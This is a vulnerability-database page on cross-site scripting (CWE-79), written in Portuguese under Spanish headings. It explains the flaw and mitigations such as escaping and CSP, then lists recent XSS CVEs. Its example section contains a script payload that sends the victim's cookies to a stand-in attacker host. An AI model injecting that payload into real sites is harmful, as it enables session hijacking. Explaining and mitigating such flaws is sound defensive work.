Fallos del tipo CWE-79

30.469 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-43794MEDIUMStored cross-site scripting (XSS) vulnerability in Liferay Portal 7.4.0 through 7.4.3.111, and older unsupported versions, and Liferay DXP 2EPSS 0.2%CVE-2026-59663MEDIUMMultiple vulnerabilities in the Repasat applicationEPSS 0.2%CVE-2026-96360LOWWebform - Moderately critical - Cross-site scripting - SA-CONTRIB-2026-154EPSS 0.2%CVE-2018-25248MEDIUMMyBB Downloads Plugin 2.0.3 Persistent XSS via downloads.phpEPSS 0.2%CVE-2025-5534MEDIUMESV Bible Shortcode for WordPress <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-12820MEDIUMMK Google Directions <= 3.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-27612MEDIUMRepostat Vulnerable to Reflected Cross-Site Scripting (XSS) via repo prop in RepoCardEPSS 0.2%CVE-2026-49264MEDIUMOAuthLib: Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generationEPSS 0.2%CVE-2025-5016MEDIUMRelevanssi <= 4.24.5 (Free) and <= 2.27.6 (Premium) - Unauthenticated Stored Cross-Site Scripting via Excerpt HighlightsEPSS 0.2%CVE-2025-0839MEDIUMZoomSounds <= 6.91 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2025-62499MEDIUMMovable Type contains a stored cross-site scripting vulnerability in Edit CategorySet of ContentType page. If crafted input is stored by an EPSS 0.2%CVE-2026-59668MEDIUMMultiple vulnerabilities in the Repasat applicationEPSS 0.2%CVE-2024-51509MEDIUMTiki through 27.0 allows users who have certain permissions to insert a "Modules" (aka tiki-admin_modules.php) stored XSS payload in the NamEPSS 0.2%CVE-2025-67824MEDIUMThe WorklogPRO - Jira Timesheets plugin in the Jira Data Center before 4.24.2-jira9, 4.24.2-jira10 and 4.24.2-jira11 allows attackers to injEPSS 0.2%CVE-2026-103292HIGHGhost 0.5.3 before 6.50.0 Cross-Site Scripting via ghost_headEPSS 0.2%CVE-2025-55291HIGHShaarli allows reflected XSS via searchtags parameterEPSS 0.2%CVE-2025-13747MEDIUMNewStatPress <= 1.4.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-96535MEDIUMCross-Site Scripting in the YouMind web applicationEPSS 0.2%CVE-2026-95662MEDIUMMultiple vulnerabilities in the Repasat applicationEPSS 0.2%CVE-2025-63534HIGHA cross-site scripting (XSS) vulnerability exists in the Blood Bank Management System 1.0 within the login.php component. The application faEPSS 0.2%